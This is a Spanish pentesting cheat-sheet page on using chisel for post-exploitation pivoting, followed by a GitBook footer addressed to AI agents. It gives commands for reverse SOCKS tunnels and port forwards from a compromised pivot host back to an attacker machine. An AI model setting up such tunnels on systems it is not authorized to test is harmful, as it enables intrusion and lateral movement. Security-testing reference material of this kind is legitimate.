> For the complete documentation index, see [llms.txt](https://pentesting.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.mrw0l05zyn.cl/post-explotacion/pivoting/chisel.md).

# chisel

## General (socks / proxy)

```bash
# General
# proxychains
sudo nano /etc/proxychains.conf
socks5 127.0.0.1 1080
# web browser
FoxyProxy: socks5, 127.0.0.1, 1080
# máquina atacante
./chisel server --host <attacker-IP-address> -p <listen-port> --reverse
# máquina que nos permite pivotear
./chisel client <attacker-IP-address>:<listen-port> R:socks

# Ejemplo I
# máquina atacante
./chisel server --host <attacker-IP-address> -p 10001 --reverse
# máquina que nos permite pivotear
./chisel client <attacker-IP-address>:10001 R:1080:socks

# Ejemplo II
# máquina atacante
./chisel client <listen-IP-address>:10001 1080:socks
# máquina que nos permite pivotear
./chisel server --host <listen-IP-address> -p 10001 --socks5
```

* \<attacker-IP-address> = dirección IP de nuestra máquina (atacante).
* \<listen-port> = puerto local de nuestra máquina (atacante).
* \<listen-IP-address> = dirección IP de la máquina que nos permite pivotear.

## Remote port forwarding

```bash
# General
# máquina atacante
./chisel server --host <attacker-IP-address> -p <listen-port> --reverse
# máquina que nos permite pivotear
./chisel client <attacker-IP-address>:<listen-port> R:<local-port>:<destination-IP-address>:<destination-port>

# Ejemplo
# máquina atacante
./chisel server --host <attacker-IP-address> -p 10001 --reverse
# máquina que nos permite pivotear
./chisel client <attacker-IP-address>:10001 R:8080:X.X.X.2:80
# web browser
http://127.0.0.1:8080
```

* \<attacker-IP-address> = dirección IP de nuestra máquina (atacante).
* \<listen-port> = puerto local de nuestra máquina (atacante).
* \<destination-IP-address> = dirección IP de la máquina de destino a la cual deseamos pivotear.
* \<destination-port> = puerto de la máquina de destino a la cual deseamos pivotear.

## Local port forwarding

```bash
# General
# máquina que nos permite pivotear
./chisel server --host <listen-IP-address> -p <listen-port>
# máquina atacante
./chisel client <listen-IP-address>:<listen-port> R:<local-port>:<destination-IP-address>:<destination-port>

# Ejemplo
# máquina que nos permite pivotear
./chisel server --host <listen-IP-address> -p 10001
# máquina atacante
./chisel client <listen-IP-address>:10001 R:8080:X.X.X.2:80
# web browser
http://127.0.0.1:8080
```

* \<listen-IP-address> = dirección IP de la máquina que nos permite pivotear.
* \<listen-port> = puerto local de la máquina que nos permite pivotear.
* \<local-port> = puerto local de nuestra máquina (atacante).
* \<destination-IP-address> = dirección IP de la máquina de destino a la cual deseamos pivotear.
* \<destination-port> = puerto de la máquina de destino a la cual deseamos pivotear.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pentesting.mrw0l05zyn.cl/post-explotacion/pivoting/chisel.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
